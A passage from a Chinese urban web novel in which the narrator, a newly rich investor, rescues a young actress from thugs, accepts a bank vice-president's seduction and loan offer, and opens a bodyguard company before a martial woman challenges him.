凡颜资本和秦悦的商战,也告一段落。
我站在凡颜资本的办公室,俯瞰整个海城,眺望着远方东郊项目的工地,那里推土机轰鸣,塔吊耸立,工人们挥汗如雨。
东郊项目正是更名为“凡颜休闲度假区”,巨大的广告牌,在阳光下熠熠生辉,我们这一场仗,打赢了!
胜利的滋味如期而至,可我的心里好像有了一个小小的缺口,有点空落落的感觉,是因为少了秦悦这个“玩具”?
还别说,习惯了和秦悦打情骂俏,她突然回秦家,我还怪想她的。
于是我马上发了微信给秦悦:“小宝贝,记得想我!”
“滚!色狼!”秦悦立刻回了一个微信给我!
我握着手机哈哈大笑,心想:无论你跑到哪里,都逃不出我的手心!
“老公,你是怎么击败秦氏集团的?”夏颜的微信发来问我。
“和你学的,拿到关键黑幕,威胁秦家。”我马上秒回消息。
“嗯,不愧是我老公,果然全能,继续努力,我等着你登上世界500强,到时候我就可以退休喽。”
夏颜向我发了一个可爱的笑脸,她现在回到自己的投资公司上班,她身边安排了周大伟跟着,我很放心,目前还没发现夏家的人对夏颜动手。
咚咚!
敲门声响起。
“请进。”我说道。
“陈总。”秘书小张笑着走了进来道:“海城各大银行都向咱们公司投来了橄榄枝,他们争着抢着想要见您。”
凡颜度假区的成立,将我个人的事业推上了一座高峰,我现在是海城有名的新晋商业精英,尤其是战胜秦氏集团后,媒体对我进行铺天盖地的夸奖,之前的质疑声早就烟消云散。
各大银行的负责人,不在对我避之不见,反而是主动邀约,想要参与度假区的项目,企图在里面获得利润。
“陈总,这是汇丰银行送来的贷款方案,额度比我们预期的还要高出10%”
“还有,国发银行的行长一直在邀约,说要请您吃饭,他们银行给咱们最低的利息。”
“现在海城所有的私人银行,都在瞄着咱们这块肥肉。”
“陈总,三天后,海城市要举行一个商业精英会,主办方点名要你参会。”
秘书小张一脸兴奋的汇报着工作,好像是她获得了这份荣誉一样,我坐在办公室后面,一个接着一个签署文件。
“陈总,那银行的邀约?”
“先不着急,还记得前两天,他们可是都站在秦氏集团那边的,先晾着他们,不然还以为咱们凡颜资本没有脾气呢!”
“好的陈总!”
秘书小张将我签好的文件拿出了办公室,我穿好外套,准备去凡颜度假区看一个工地项目,那是一个涉及到人工湖的改造。
我独自驾驶车前往郊区,这里绿树成荫,鸟语花香,还有河流小溪,确实很美,仿佛让人置身于世外桃源。
这里唯一的缺点,就是离城市比较远。
当快要达到时候,我下了车,打算步行过去,这样能看的更清楚全面,我能更了解现场布局。
就在我沿着土路往前行走的时候,我听到前方好像有争吵声,像是女人的怒骂和男人的调笑。
“你们想干什么,在过来,我就要报警了!”一个清脆的女人声音传递过来,只不过她的声音里带着惊慌失措。
“报警?这荒郊野岭的,等警察来了,哥几个早就跟你玩完了,大明星,你就陪我们玩玩呗,反正你们也没少被潜规则!”
我抬眼望去,好像几个痞子青年围着一台黑色的轿车,一个二十出头的女人被围在了中间。
我估计是女的来这里玩,然后被几个流氓给调戏了。
我本来不想多管闲事,可当我看了看那女人的侧脸,只是瞟了几眼,却觉得她很眼熟,好像在哪里见过。
她穿着一身简单的运动装,戴着鸭舌帽和口罩,但身段高挑玲珑,露出的额头和眼睛极其漂亮,即使在这种狼狈的情况下,依然有一种无法忽视的星光般的夺目。
我想起来了,她就是这几年迅速蹿红的影视歌三栖明星林薇儿,她以清纯玉女的形象和极具灵动的演技征服了无数观众,是国民妹妹。
一个大明星,为什么会出现在这里?
只见一个混混伸出手去抓她,林薇儿马上躲开,她慌张的后退,整个人都抵在了车上。
我决定,帮助一下这个国民小妹!
“住手!”
我的声音不大,但在这空旷的郊区,却显得很有威慑力,至少,将那几个混混吓了一跳。
混混们看见就我一个人,没把我放在眼里,叫嚣着骂我:“你特么哪里来的,少管闲事!滚!”
林薇儿看到我后,眼里闪过一丝希望,可见我是一个人,她的眼神暗淡了下去,显然,她是觉得我打不过这些人。
林薇儿对我使眼色,让我快点离开,但我没有理会,我连那些混子,都没有理会。
我走了过去,冷冷道:“大白天的,你们欺负一个女孩,还是男的吗?!”
“草,你谁啊,别特么管闲事!”
“赶紧滚吧,别惹我,否则让你们下场会很惨!”我警告他们。
“妈的,找打!”为首的一个膀大腰圆的壮汉骂了我一句,挥拳就朝我面门砸来!
他的动作犹如慢动作回放,我迅速出拳,一拳打在了他的脸上,直接将他的鼻梁打塌,鼻血瞬间喷出!
“啊——!”
壮汉捂着脸,发出了杀猪一样的惨叫,另外几个人被同伴的惨叫吓的不敢上前。
“还打么?我奉陪到底!”我冷笑道。
那几个人面面相觑,看了看受伤惨叫的同伴,又看了看我冰冷的眼神,最后,他们选择扶起同伴,灰头土脸的跑了。
现场瞬间安静下来,只剩下风吹过杂草的沙沙声,还有林薇儿急促的呼吸声。
她背靠着车门,惊魂未定,胸口微微起伏,一双美眸睁得大大的,难以置信地看着我。
我走到她面前,打量了她一下,除了受到惊吓,似乎没有受伤。
“没事吧?”我开口询问,语气算不上热情。
053大明星的好友申请!
林薇儿这才缓过神来了,她整理了一下衣服,拉了拉被弄歪的帽檐。
她摘下了口罩,露出了一张精致的犹如瓷娃娃一般的脸庞,她的五官看起来比电视上还要立体,整个人比荧幕上要漂亮许多。
她可能是有些害羞,或者是受了惊吓,她声音软糯道:“谢谢……谢谢你……”
她的声音轻柔动听,温温柔柔的,那种感觉就如同海风吹拂在脸庞让人惬意,我心想:林薇儿不愧是歌星,声音真是悦耳动听。
“你一个人怎么跑这了?”我有些好奇,一个当名明星,竟然会一个人跑到这荒郊野岭的,还遇上了流氓,如果不是我出手,后果不堪设想。
林薇儿有些犹豫和害羞,她抿了抿嘴唇,道:“我是一个人偷偷跑出来散心的,没想到车子没油了,停在了这里,也没想到会遇到坏人……”
林薇儿说着说着,眼圈就红了,她一个大明星,走到哪里都是前呼后拥的,她哪里受过这个委屈,她用袖口轻轻的抹眼泪,那委屈巴巴的样子,我见犹怜。
“叫人来了吗?”我问。
林薇儿摇了摇头:“我的手机都让他们给摔坏了。”
林薇儿指了指地上摔碎的手机,她越想越委屈,眼泪吧嗒吧嗒掉了下来,她的眼睫毛上挂着的泪珠,在阳光呀,好像闪烁的水晶。
眼前这个女孩哪里是什么大明星,分明就是一个单纯的小女孩,她不过才20岁,遇事慌张害怕也是正常的。
“哥哥,你能借我一下手机么,我想打给我的经纪人?”林薇儿有些不好意思的看着我。
我将手机给了她,她走到一边,给经纪人打了电话,打完电话后,她把手机递给了我。
“你经纪人什么时候来接你?”我问。
“刘姐说要一个小时左右吧。”林薇儿眼角还挂着泪,显然是刚才又和刘姐哭诉了。
我看了看天色,现在夕阳下沉,一个小时后,这里就会变得更加不安全。
我想了想:“你要不要先坐我的车?我送你到有人的地方去。”
林薇儿先是愣了一下,她没有想到我竟然会主动提出送她,她犹豫了一下,又看了看周围荒郊野岭,最后答应下来。
“那就麻烦你了……哥哥……”
林薇儿进到了车里,拿起了自己的小包,然后小心翼翼的跟在我的身后。
由于前几天海城下了大雨,这里的路有些泥泞,林薇儿偶尔一个不小心,脚滑,就摔倒了。
好在我马上扶起了她,她低声对我说:“哥哥,谢谢……”
林薇儿声音本就动人,她左一句哥哥,有一句哥哥,喊的我心里心花怒放,别提多爽快了。
“你就走在我身边把,省的你在滑倒!”
我用一种命令的口吻,林薇儿点点头,很乖巧的跟在我身旁,遇到有水沟的地方,我就会抓着她的手,她也很配合。
她这一路上,时不时的打量着我,眼神里充满了好奇。
走了大概十多分钟,我们走出了这段泥泞山路,来到了我的迈巴赫车前,林薇儿看了看我的车,眼神有些不确信。
见我上了车,她也跟着上车,她坐在副驾,长长的舒了一口气。
“哥哥,今天真的非常非常感谢你,如果不是你,我真不知道自己会怎么样,我叫林薇儿,是个小演员,认识你很高兴。”
林薇儿向我做自我介绍的同时向我伸出了手。
于是我握住了她的手,道:“我叫陈凡。”
“陈凡……陈凡……”林薇儿小声嘟囔:“这个名字好熟悉,我好像在哪里听过,在哪里呢?”
她双手摸着下巴,微微侧着头,一副思考的样子要多可爱有多可爱。
她就如同邻家小妹一般,单纯可爱,活泼灵动,笑起来,小酒窝格外迷人,和她相处下来,能被她的情绪感染。
“想起来啦!哥哥,你就是那个凡颜度假区的创始人对不对?”林薇儿兴致勃勃的问我,她眼睛闪着光芒,脸上的阴霾恐惧一扫而光。
“嗯,你知道我?”我笑了笑道。
我内心还是挺满足的,毕竟能让大明星知道名字,也算是一种肯定。
“当然知道啦,你不是海城最大度假区的投资人么,号称风景优美,山清水秀,我……哼!”
林薇儿说着说着,就嘴巴嘟嘟,她抱着双臂,一副生气的样子。
“怎么了?刚才还说笑呢?”
我心想:演员的情绪来的可真快啊!
“我就是好奇你们度假区是什么样子,所以才一个人跑来的,没想到,景色没看到,还遇到了坏人,哼!”林薇儿转过身,她抱着双手抱着胳膊,气哼哼道:“哥哥,你是不是应该补偿我呀!”
“我?”我指了指自己,道:“这与我有什么关系,这也能拐带我头上啊!”
我笑着摇了摇头,这小丫头,还真是能够赖的。
“那当然了,谁让你的广告牌子做的那么吸引人。”林薇儿说道。
“那是规划图。”我笑了笑说。
“哎呀,一个意思啦,反正我不管,哥哥你得补偿我啊!我被欺负都是你的度假区引起的啊!”林薇儿说道。
“好,你想让我怎么补偿你?”我笑了笑问。
“嗯?”林薇儿一只手托腮,一只手放在车窗上,她敲了敲车窗,思考了一番后:“那你带我玩两天?给我当导游?”
我还以为是什么呢,原来是当个导游而已。
我想都没想就答应了下来,我们两个人互相交换了联系方式,我觉得很有意思,我竟然和大明星成为了朋友。
“哥哥,小妹在此感谢你~”
林薇儿笑着向我抱了抱拳,颇有侠女的架势,我被她逗笑了。
我们两个人有说有笑,车子也是一路前行。
夕阳的金色余晖透过车窗,洒在她完美的侧脸上,勾勒出柔和的侧脸,她确实很美,美的让人生出一种保护欲。
我将她送到了海城一个郊区的咖啡店里,林薇儿的经济团队已经在那里焦急的等待。
快要下车的时候,她又带上了口罩,压低了鸭舌帽檐,她笑着对我说:“哥哥,我明天还要找你玩呦!”
她下车了,我看着她走向了经纪人。
于是我调转车头,没过多久,我的手机微信震动,一个新的好友申请,头像是背对着风景的身影,昵称:林薇儿……
054初见苏婉情!
“陈总,公司又一个紧急预算需要您回来签字!”
秘书小张一通电话打了过来,我马不停蹄的赶往公司,当我到了后,诺大的公司就剩下小张了,其他员工都下班了。
“陈总,这是度假区预算方案,还有工人工资表,请您过目。”
我翻看着面前的项目表,现在公司手里的现金只能维持半个月,我在上面大笔一挥,签了自己的名字。
我靠在座椅上,揉了揉眼睛,我也在发愁,愁的是在哪家银行进行贷款,摆在我面前可选择的银行实在是太多了,民营的,国营的,他们主动送上橄榄枝,让我应接不暇。
咚咚!
一阵轻微却恰到好处的敲门声响起。
“请进。”
我心想:这么晚了,谁还会来?
“陈总,您好,我是大发银行副行长苏婉情。”
我抬起头,一位温婉标致的美人儿站在门口她,她冲我笑了笑,犹如一朵盛开的莲花,清风自来。
苏婉情生的皮肤白皙细腻,一张鹅蛋脸,一双秋水眸子,她脸上带着恰到好处的笑意,她没有穿职业装,而是一身藕荷色的真丝旗袍,领口处解开了一颗扣子,露出她纤细的锁骨和一小片肌肤。
柔情、温婉,自带无限风韵,这是我对她的第一印象。
“陈总,我可以进去坐坐么?”苏婉情微笑着问我。
“当然可以。”
我笑了笑,指了指我对面的座位,我并没有起身迎接她,她肯定是来求我拉贷款的。
“谢谢。”
苏婉情走到我的面前,她坐在我面前,落落大方,笑容绵绵,她的声音温软中带着一丝丝的磁性,很是悦耳。
“第一次见陈总,没想到您是这样的年轻,果真是一表人才!”
她主动伸出手,与我轻轻一握,触碰到我的手后,她马上就收回,分寸掌握的极好。
“苏行长过奖了。”我笑了笑。
“我早就听说凡颜董事长是一位青年才俊,今天一见果然名不虚传,实在不好意思,我正巧路过这里,看到贵公司的灯还在亮着,就不请自来了,希望陈总您别见怪。”
苏婉情先是夸奖我,然后在给自己来这里找了个合理的借口,她这是把人情世故玩的明白,让我也挑不出毛病。
来而不往非礼也,于是我也夸赞了她。
“听闻苏行长是大发银行的唯一女行长,年纪轻轻,能做到这个位置,想必业务能力一定非常突出!今日一见,果然名不虚传。”
“哦?陈总听说过我?”苏婉情眼神大放异彩。
“当然,毕竟我就喜欢听和美女有关的新闻。”我笑了笑。
苏婉情也笑了笑,她看了看我办公桌上的文件,大多都是银行送来的,她笑着说:“看来陈总这里来了许多贵客啊!”
“可不是每一个客人,都有苏行长这样的美貌!”
“既然陈总都这样说了,那我今晚是否有幸,邀请陈总您共进晚餐?”
苏婉情主动向我发出了邀请,我看了看天外,已经黑了,加上我还没有吃饭,也就答应了下来。
“坐我的车吧。”我笑着邀请。
“好的。”
我心想苏婉情确实名不虚传,我早就听闻她是海城金融圈炙手可热的人物,传闻她不仅业务能力出众,而且手段高明,据说在她手里放出的大额贷款,没有一次失手过。
传说她可能是下一任大发银行的总行长。
苏婉情不会平白无故的来找我,就看她什么时候说出目的了,我有的是耐心。
上赶着的不是买卖,只有让她主动来求我,凡颜资本才能获得更多的利益。
无论是贷款期限,还是贷款利息,还是贷款额度,我都要拿到最优方案。
“陈总,我知道一家很不错的日料店,环境私密。”
苏婉情着重说了私密两个字,我立刻心领神会:“那就都听苏行长的安排好了。”
“没想到陈总真是一个爽快的人,我就喜欢和爽快的人做朋友。”
我微微一笑,心想:这女人可真会套近乎,认识不到三十分钟,就说是我的朋友了,不得不说,这女人真是个社交达人。
在苏婉情的只会在,我们最后来到了一家名字叫月隐的高级日料店。
别看这里是一栋不起眼的庭院,可来这里需要提前数日愉悦,从不接待散客。
推开门,一股清雅的檀香味扑面而来。
我和苏婉情在服务员的带领下,来到了一个包间。
服务员想要介绍什么,被苏婉情制止了,她柔声道:“我想和这位先生单独聊一聊。”
服务员很识趣的离开了包厢。
接下来,苏婉情就开始了她的表演,无论是点菜,还是传菜,还是给我泡茶,斟茶,她都是亲力亲为,给我服务的是相当的好。
我们就随便的寒暄着,有什么聊什么,我也不往贷款那个方面提,我看苏婉情能憋到什么时候。
酒过三巡,菜过五味,包厢内的气氛在究竟和灯光的作用下,变的有些暧昧。
苏婉情的话题也开始转变。
“陈总年轻有为,真是让我敬佩!”她端起清酒酒杯,眼波流转,她的视线在我的脸上停留的时间明显变成。
“像您这样的成功男人,身边一定不缺红颜知己吧?”她看似随口一问,其实深意很深。
“还好吧,工作忙,没什么时间。”我淡淡回答,晃动着酒杯。
“工作是做不完的,生活还是很重要的。”她起身,弯腰,给我倒满了一杯酒,她的这一系列动作在旗袍的包裹下,勾勒出诱人的曲线。
“其实,很多时候,事业上的助理更需要一个懂你的合作伙伴,或许能为您带来意外的惊喜。”
苏婉情的暗示已经非常明显,我没有接话,只是看着她,目光平静,带着一种审视的意味,想看看她还说出什么来。
见我没接话,她也没有气馁,反而更加的主动。
“陈总不瞒您说,我们大发银行对贵公司的未来发展非常看好。”她看着我的眼睛,声音温柔的似乎带着一种魔力,她说道:“只要您愿意,我们可以提供比海城任何一家银行都优惠的贷款条件。”
她咬了咬嘴唇,红唇微启:“而我个人,也非常欣赏陈总这样的男士,强大,冷静,充满了野性的魅力,我觉得,我们可以有更深入的合作……”
她说完,就用那双桃花眼静静地看着我,等待着我的回应……
055第一次按摩!
苏婉情眼波流转,双眸含情,她知情识趣,能力与美貌具备,这种绝佳女人主动送上门,试问哪个男人能拒绝呢?
我看着她那张魅力诱人的漂亮脸蛋,还有她眼中势在必得自信,我的眼神一下子变的玩味起来。
我不喜欢女人操控我的感情,看来我有必要给她泼一盆冷水,免得让她觉得,凡颜资本是好糊弄的。
“苏行长,你知道,我们凡颜不缺合作银行。”我泯了一口酒说道。
“当然……”苏婉情笑着点了点头,道:“我知道这段时间,踏破贵公司大门的银行不在少数,但我相信,我们大发银行绝对是最后诚意的。”
“哦?”我放下酒杯,看着苏婉情的眼神,有些玩味:“何为诚意?”
苏婉情听到我的话,这才从公文包里,拿出了一个贷款合同,她双手递给我,道:“陈总可以先看看,我相信它会打动你的。”
“今天只谈生活,不谈工作。”
我没有接过那份合同,我倒想看看,苏婉情还能怎么样?
苏婉情微微一笑,她将酒杯斟满,然后笑着向我道:“既然陈总喜欢生活,那我今天就舍命陪君子喽。”
苏婉情和我一杯接着一杯的喝酒,包厢里传来阵阵笑声,在酒精的微醺下,苏婉情的脸色逐渐红润起来,从脸一直红到脖颈。
她的旗袍本就解开一个扣子,她性感的锁骨也逐渐红了起来,很是诱人。
我们聊了很久,直到夜色越来越深,榻榻米上的酒瓶越来越多,我们两个才结束了这场饭局。
“陈总,今天和你喝酒,很开心!”
苏婉情声音温柔,甚至还有一点点慵懒的沙哑,她身子微微一晃,她扶住了门框。
我顺势搂住了她的腰,轻轻扶住了她:“苏行长小心。”
一股酒香伴着苏婉情身上香水的味道扑面而来。
“谢谢你,陈总……”她抓着我的胳膊,脸色红彤彤,她着急的解释道:“我没有喝多!”
她摇摇晃晃的走着,犹如在走猫步,我只能扶着她,刚走出月隐的店门,深夜的那股凉风吹来,苏婉情酒意顿时上头,她扶着额头,整个人跌进了我的怀里。
她的身体温热又柔软,她的胸口贴着我的胳膊,说话的时候,她的身体不自觉的起伏,肌肤触碰的感觉,让我体内升起一股电流。
“不好意思,陈总,我喝多了,我好困,好像睡觉……”
“陈总,你能送我回家么?”
我将她扶进了副驾驶,然后问道:“你家在哪?”
“在海城花园。”她说道。
她坐在车里,也不说话,闭着眼睛,但是她的手时不时的抚摸我的胳膊,我没有穿外套,只穿了一个短袖,我的肌肤感受到了她手传递过来的温热。
到了海城花园,这座高档小区,我将车停稳。
苏婉情才悠悠的睁开眼睛,她转过头,眼神满是情意道:“陈总,既然来了,就上去坐坐吧,我给你冲杯解酒茶,不然我这个样子,自己也上不去……”
苏婉情的理由实在是蹩脚,但她的意图也很明显,只要我上了她的家,她今晚绝对会吃了我,她身上的温婉确实挺迷惑我的。
我看着她那副醉意朦胧,我见犹怜的样子,我也很好奇,上去之后,她还能玩出什么花样?
“好。”
于是我扶着她上楼,她整个人都靠在我的怀里,她的枕在我的肩膀上。
我们两个人靠的很近很近,彼此都能听见呼吸和心跳,尤其是在电梯里,我手搂着她的腰,她的腰很细很软,那种Q弹的手感,让我很是沉醉。
我扶着她上了楼,她的家装修简约干练,细节之处流露出一种知性美,符合苏婉情的气质形象。
一回到家里,苏婉情清醒了不少,她脱下鞋,然后将拖鞋递到我的脚下,她说:“陈总,你先坐,我去给你倒水。”
她依旧摇摇晃晃走着猫步去厨房,我坐在沙发上,打量着四周,尽管这里的装修很舒适温馨,但也透露出一种独居的味道。
过了一会儿,苏婉情端了两杯水过来,她没有递给我,而是蹲在了我的面前!
这点让我很是意外!
苏婉情抬起头,脸颊绯红,她笑着说道:“不好意思陈总,让你见笑了,还要你送我回家。”
“真是丢死人了……”
苏婉情的话语和眼神都带着对我的讨好,她说着,竟然伸手解开我的皮鞋鞋带。
“你做什么?”我淡淡问道。
“看你的鞋子上有了泥,今天应该走了不少山路吧,陈总应该很累了吧。”
苏婉情低着头,声音闷闷的,但是手上动作却没有停下,她脱下了我的皮鞋和袜子,然后起身去了卫生间,她端了一盆温水出来,水里还放着玫瑰花瓣。
“苏行长还有情趣啊。”我笑着说。
她将木盆放在我的面前,她蹲在我的面前,然后仰起头看着我:“让我伺候你泡泡脚,解解乏,就当是谢谢你送我回家了,好不好?”
她的眼睛湿漉漉的,带着一种近乎乞求的卑微,一个呼风唤雨的女行长,此刻正蹲在我的面前要求给我洗脚,这种巨大的反差感,让我内心充满了刺激。
我没有拒绝,算是默许了。
她很高兴,脸上露出欣喜的神色。
苏婉情小心翼翼的将我的脚放入温水,水温恰到好处,她的手指纤细柔软,带着一丝丝的凉意,她轻柔的按摩我的脚背还有足底穴位,她手法熟练,力道均匀,我的足底传来酥酥麻麻的感觉。
我靠在沙发上,闭着眼睛,享受着苏婉情的服务,这种体验感,确实不一样,苏婉情很会讨好男人。
这个女人想必也为不少男人服务过吧。
“苏行长,手法精湛,想必平时也不少做这些吧?”
苏婉情按摩的手突然停了下来,我睁开眼睛,她眼眸湿漉漉的看着我。
“怎么停了?”我笑着说:“苏行长的手法,我还想在体验体验。”
“陈总,我这是第一次给男人按摩……”
苏婉情委屈巴巴的看着我,眼泪逐渐盛满眼眶……
056撒娇女人最好命!
苏婉情着重强调了一下,第一次给男人按摩。
她是什么意思,我还能不懂?
于是我笑着问:“我是第一给来你家的人?”
苏婉情听我这么一说,脸色绯红,她点了点头,表示默认。
她越是这样,我就越是感觉到刺激,堂堂大发银行的美女行长,此时却在我的面前表达大献殷勤,她司马昭之心路人皆知了。
我继续享受着苏婉情带来的足疗,并且称赞她的技术真的很好,我笑着说:“苏行长是不是专门学过?”
她点了点头道:“我对养生比较感兴趣,以后打算做个贤妻良母,就多学了一点。”
“哦?”我嘿嘿一笑:“那以后谁要是娶了苏行长,那个男人岂不是有福气了。”
“陈总,您过奖了,倒是陈总您喜欢什么样的女人?”
苏婉情抬起头,看着我的眼睛,似乎这样她才能分辨出我说的是不是真心话。
“当然是像苏行长这样的美女了。”我笑了笑说道。
苏婉情莞尔一笑,然后继续低下头,只不过她将面前的头发撩到耳后,还别有一番韵味。
她按摩了许久,然后用一条干净的白毛巾擦拭我的脚,然后她蹲在我的面前,仰起头,就像是一只小狗一样,在等待主人的评价。
“技术很好。”我笑了笑。
她如释重负的笑了笑,然后起身,可能是因为蹲的太久了,她站起来的一瞬间晃了一晃,直接倒在了我的怀里。
我赶紧扶住了她,她的腰很细很细,虽然隔着衣服,也能感受到她腰间的柔软。
“苏行长,你要小心啊!”我在她耳边轻声的低语。
“嗯。多谢陈总关心。”她顺势搂着我的腰,然后对我吐气如兰道:“陈总,那大发银行贷款的事情,您看?”
“那就得看苏行长的诚意了?”我搂着她继续说道:“感情归感情,生意归生意,不是么?”
“大发银行给出的贷款期限,可延长至5年,利息为海城所有银行最低的利息,同时可以给陈总提高贷款额度,这个就是大发最大的诚意了。”
苏婉情认认真真的说着,她望着我的眼睛,犹如一池春水,荡漾多情。
“那你的诚意呢?”我笑着问。
“只要陈总答应,我当然怎么样都行啊?”苏婉情笑了笑。
对于苏婉情这样的佳人,她主动投怀送抱,我当然是来者不拒。
于是她双手勾住了我的脖子,送上了香吻……
我看着她近在咫尺的脸,很是温柔,于是我说道:“明天,带着你的团队来公司谈贷款的事情。”
苏婉情的眼眸被瞬间点亮,她一脸兴奋道:“谢谢陈总,那今晚,我一定要好好报答你。”
于是,在苏婉情的主动邀约下,我半推半就,就留在她的房间过夜。
春宵一刻,我们彼此都很畅快。
第二天早上起来,我看着床单上那抹刺目的鲜红,我没有想到,苏婉情竟然还是第一次?
坊间传闻,苏婉情能当上副行长不是靠美色换来的么?
我起身,穿好衣服,来到客厅,抽了根烟。
我的动静惊醒了苏婉情,她穿好衣服,也跟着我来到了客厅。
她坐在我的面前,忽然将我手中的烟夺了过去,然后她也学着我的样子抽了起来。
我看出来了,她不是新手,她吐着烟圈很是熟练。
“你抽烟?”我问。
“工作压力大的时候,就抽烟解解闷!”苏婉情靠在我的肩膀上。
“我以为你是个女强人呢。”我笑着说。
“哪有什么女强人呢,都是被你们男人逼出来的。”
苏婉情安安静静的靠在我的怀里,她温婉温柔,柔情细腻,这种性格的女人,我还是第一次拥有,说实话,我内心还是挺喜欢她这款的。
“那你现在还有压力?”我搂着她的肩膀。
“当然。”她说。
“贷款的事情,我都答应你了,你还有什么压力?”我笑着说。
“工作的事情不算,可是感情呢?”她抬起头看着我说道:“你是我第一个男人,而且我也知道,你有很多女人……”
“那你还主动献身?”我问。
“这也是我第一次主动,也是最后一次了。”
苏婉情抬起头,她拉着我的手,一脸认真的说道:“我知道,金融圈对我的评价不好,说我靠美色上位,可这么多年过去了,我从没有吃亏过,陈凡,你是我第一个……”
“我,对你很重要?”我问。
她点了点头道:“会在心里,记得你一辈子。”
我微微一笑,揉了揉她的脸,道:“还行,还不算薄情寡义,还知道记得我这个人呢。”
苏婉情将脸放在我的手心,然后蹭了蹭,就像是一只小猫一样。
“这个贷款签订后,我就会升任大发银行的总行长,以后,压力就不用那么大了,也不会在受别人欺负了。”
苏婉情长舒一口气,她依靠在我的怀里,显然是把我当成了一种依靠。
“其实,我早就听说过你的事,你打冯天宇,护着夏颜,在海城都传开了,我还挺想见见你的。”
“我就像看看,为红颜怒发冲冠的男人,是什么样子。”
“那你现在看到了有什么感觉?”我捏了捏她的脸问道。
“物超所值。”苏婉情笑了笑。
她笑起来很好看,就像一朵莲花一样,她的笑容很有感染力。
“饿不饿?”她问我。
“嗯,有点饿了。”我捏了捏她的脸继续说道:“昨晚的日料,我都没吃饱。”
苏婉情脸色微红,道:“没吃饱,昨晚还那么有力气?”
“这种事情,我一向都很有力气!”
苏婉情轻轻打了我一下,娇嗔道:“讨厌,就知道笑话我。”
她起身去厨房为我做早饭,我看着她在厨房忙碌的身影,越来越觉得她很好看。
她的长发撩到耳后,露出完美的侧颜,她身材极佳,即便是穿着睡裙,也能展示出她姣好的身材曲线。
不一会儿,一晚葱油拌面,就被她端上了桌。
我拿起筷子,就准备吃,我见她没有动筷子,就问道:“你不吃么?”
苏婉情脸微微一红,道:“想要你喂我……”
057来自美女的单挑!
苏婉情俏脸微红,眼眸含情。
她抿了抿嘴唇,喉咙微动,已经在等待下文。
我夹起一根面条送入了她的嘴里,苏婉情轻轻嚼着,然后她越来越面向我,最后直接亲吻了我的嘴唇。
我很享受苏婉情给我带来的体验,我现在拥有的女人,每一个都是极品尤物,每一个都给我带来不一样的感受。
夏颜的古灵精怪、柳媚笙的风骚妩媚、秦悦的敢爱敢恨,苏婉情的柔情似水,给我带来不一样的体验感。
男人嘛,就该多接触接触不同类型的女人。
从苏婉情的家里出来,我便喊上刘飞一起去了保镖公司,我在海城的租了一间门市,专门用作保镖训练基地。
周大伟被我派去保护夏颜,我并没有叫他来,我侧方面打听过,夏振宇的小女儿得了白血病,她肯定是要来抢夏颜的。
对于这件事,我始终保持着和夏颜一条战线,她想怎么样,就怎么样,没有人可以用道德绑架她!
“凡颜保镖公司”我站在公司的牌匾下面,用手机拍了一张照片,然后发给了夏颜。
“老公,这么快就成立了新公司,办事效率可真快呀!”
我收到了夏颜的微信。
“这家公司是专门为老婆你成立的,当然要快了,都是你的专属保镖。”
“我只要你做我的专属保镖~”
夏颜发了一个撒娇的表情,她接着说道:“我下周要去帝都出差,可能要去一段时间,老公你这几天要多卖力气啊,我还想要怀孕呢~”
“老婆放心,弹药充足,要多少有多少!”
“讨厌,晚上见!我还要看你的模特秀呢!”
我似乎想起来了,夏颜那时候非说要看我的内衣秀,现在应该是内衣到位了,这个磨人的小妖精,真是鬼点子满天飞啊。
不过夫妻之间多些互动,日子才不会过的无趣啊!
我抽了根烟,然后等着刘飞过来。
没多久,我见一辆出租车停下,刘飞下车,他脚上都是泥巴,看来在工地没少出力。
“我曹,凡子,这就是咱的保镖公司?这也太气派了吧!”
刘飞一脸兴奋的走进了公司,整个公司占地面积大概是500多平方米,有训练区,办公区,还有生活休闲区,贵宾接待区。
刘飞就像是参观一样,每一个区域都要看一遍。
“前面那两个办公室,一个是你的,一个是周大伟的。”
我指了指副总经理办公室,说道。
刘飞眼神兴奋,然后突然问我:“凡子,那你的办公室呢?”
“我不在这里办公,公司我打算交给你和周大伟两个来管理,现在你负责去招聘保镖,记住,一定是作战能力强,身体素质过硬的,男女都要。”
“凡子,你就放心吧,我给你弄来的兄弟,都个顶个的武林高手!”
我扔给刘飞一根烟,笑骂道:“你小子可别吹牛,到时候弄不来,看我怎么骂你!”
“我什么时候骗过你,咱当年那些退伍的兄弟,一听你要开公司,争着抢着都要来,凡子,兄弟我佩服你,你也算是给咱们哥们几个解决吃饭问题了!”
刘飞抽着烟,向我竖起了大拇指。
“少拍马屁!”我笑骂了一句,扔给了他个车钥匙,道:“这辆车公司专门给你配的!”
“我草!”刘飞接过车钥匙,一脸惊讶:“坦克300!凡子,你真给我弄了?”
我看着刘飞那一脸兴奋的样子,心里也挺爽快的,同为兄弟,为他做点什么不算事。
“你不天天嚷着喜欢坦克300么,我就给你弄了!”我笑了笑说。
“卧槽,凡子,你可真讲究!我要是女的,我都特么容易爱上你!”刘飞眉飞色舞,要多兴奋就有多兴奋!
“行了别贫嘴了,你赶紧去招兵买马,下个礼拜你嫂子就要去帝都出差,我判断夏振宇应该会动手抢人!”
“好,你放心,我这就去摇人,谁敢动嫂子,我把他屎打出来!”
刘飞这小子虽然爱贫嘴,可办事效率极快,他马上就去摇人了。
我刚走出“凡颜保镖”公司的正门,一辆改装版的牧马人停在了我的面前,从车上跳下来一个女人,她身材高挑,目测在一米七五左右,她身着一身黑色劲装,身材被包裹到极致,甚至能够看到她的肌肉线条。
她留着一头干练的短发,紧紧是站在那里,就给人一种无形的压迫感。
这样的女人,我以前只在部队遇到过!不过她们都是能力出众的特种女兵!
眼前这个女人,来头不简单!
我在打量女人的同时,她也在不停的打量我,她的眼睛就像是鹰一样,冰冷又犀利。
我看了她几眼,然后就打算走,毕竟我也不认识这个女人,可没想到,这个女人竟然拦住了我。
“你是谁?”我的声音冰冷,让人听不出任何的情绪。
“王蔷!”
那女人与我面对面,气势上丝毫不落下风,她五官立体,肤色是健康的小麦色,她看我的眼神,有一股毫不掩饰的战意!
我没听说过这个人,可她在说出自己名字的时候,她下巴微微抬起,有着一种目中无人的傲气。
“来找事儿的?”
我不跟她废话,我心想,这女人该不会是来踢馆的吧!
我说话间,身体已经调整到最佳的战斗状态,这女的穿成这样来找我,准没好事!
“前几天,你在海城夜市,打伤了我弟弟!”
王猛?!
我想起来了,不就是那个被我掰断手腕的那个混子么,自己打不过我,回家告状了?
“我明白了,你弟弟打不过我,这是让你来找场子来了?”我一脸不屑:“这是打了个小的,来了个老的,不对,应该是来了个女的……”
我言语嘲讽,丝毫没把这对姐弟放在眼里。
“他打不过你,是他自己废物,与我无关!”
